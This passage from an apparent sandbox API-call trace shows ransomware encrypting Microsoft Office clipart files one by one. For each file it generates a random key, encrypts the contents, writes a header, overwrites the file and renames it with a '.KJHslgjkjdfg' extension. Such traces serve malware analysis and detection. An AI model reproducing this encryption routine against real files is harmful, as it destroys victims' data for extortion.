lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.178] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.179] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.179] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x10c8, lpOverlapped=0x0) returned 1 [0182.180] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10d0) returned 1 [0182.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.180] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10d0, lpOverlapped=0x0) returned 1 [0182.180] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.180] SetEndOfFile (hFile=0x130) returned 1 [0182.181] GetProcessHeap () returned 0x990000 [0182.181] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.182] GetProcessHeap () returned 0x990000 [0182.182] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.kjhslgjkjdfg")) returned 1 [0182.184] CloseHandle (hObject=0x130) returned 1 [0182.184] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0182.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.185] GetProcessHeap () returned 0x990000 [0182.185] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.185] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.185] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.187] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.187] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.187] GetProcessHeap () returned 0x990000 [0182.187] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.187] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.187] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.187] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.187] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.188] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.188] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.188] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.188] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.188] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.188] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc9c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc9c, lpOverlapped=0x0) returned 1 [0182.188] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xca0, dwBufLen=0xca0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xca0) returned 1 [0182.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.188] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xca0, lpOverlapped=0x0) returned 1 [0182.188] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.188] SetEndOfFile (hFile=0x130) returned 1 [0182.190] GetProcessHeap () returned 0x990000 [0182.190] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.190] GetProcessHeap () returned 0x990000 [0182.191] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.kjhslgjkjdfg")) returned 1 [0182.193] CloseHandle (hObject=0x130) returned 1 [0182.193] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0182.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.194] GetProcessHeap () returned 0x990000 [0182.194] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.194] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.194] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.197] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.197] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.197] GetProcessHeap () returned 0x990000 [0182.197] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.197] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.197] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.197] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.197] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.197] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.197] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.197] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.198] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.198] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.198] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x12c8, lpOverlapped=0x0) returned 1 [0182.199] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12d0) returned 1 [0182.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.199] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12d0, lpOverlapped=0x0) returned 1 [0182.199] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.199] SetEndOfFile (hFile=0x130) returned 1 [0182.202] GetProcessHeap () returned 0x990000 [0182.202] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.202] GetProcessHeap () returned 0x990000 [0182.202] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.kjhslgjkjdfg")) returned 1 [0182.206] CloseHandle (hObject=0x130) returned 1 [0182.206] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0182.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.207] GetProcessHeap () returned 0x990000 [0182.207] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.207] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.207] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.210] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.210] GetProcessHeap () returned 0x990000 [0182.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.210] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.210] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.210] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.210] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.210] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.211] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.211] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1384, lpOverlapped=0x0) returned 1 [0182.212] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390, dwBufLen=0x1390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390) returned 1 [0182.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.212] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1390, lpOverlapped=0x0) returned 1 [0182.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.213] SetEndOfFile (hFile=0x130) returned 1 [0182.214] GetProcessHeap () returned 0x990000 [0182.214] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.214] GetProcessHeap () returned 0x990000 [0182.214] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.kjhslgjkjdfg")) returned 1 [0182.217] CloseHandle (hObject=0x130) returned 1 [0182.217] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0182.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.218] GetProcessHeap () returned 0x990000 [0182.218] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.218] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.218] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.220] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.220] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.220] GetProcessHeap () returned 0x990000 [0182.220] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.220] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.220] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.220] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.220] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.220] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.220] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.221] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.221] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.221] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.221] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x138c, lpOverlapped=0x0) returned 1 [0182.222] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390, dwBufLen=0x1390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390) returned 1 [0182.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.222] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1390, lpOverlapped=0x0) returned 1 [0182.222] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 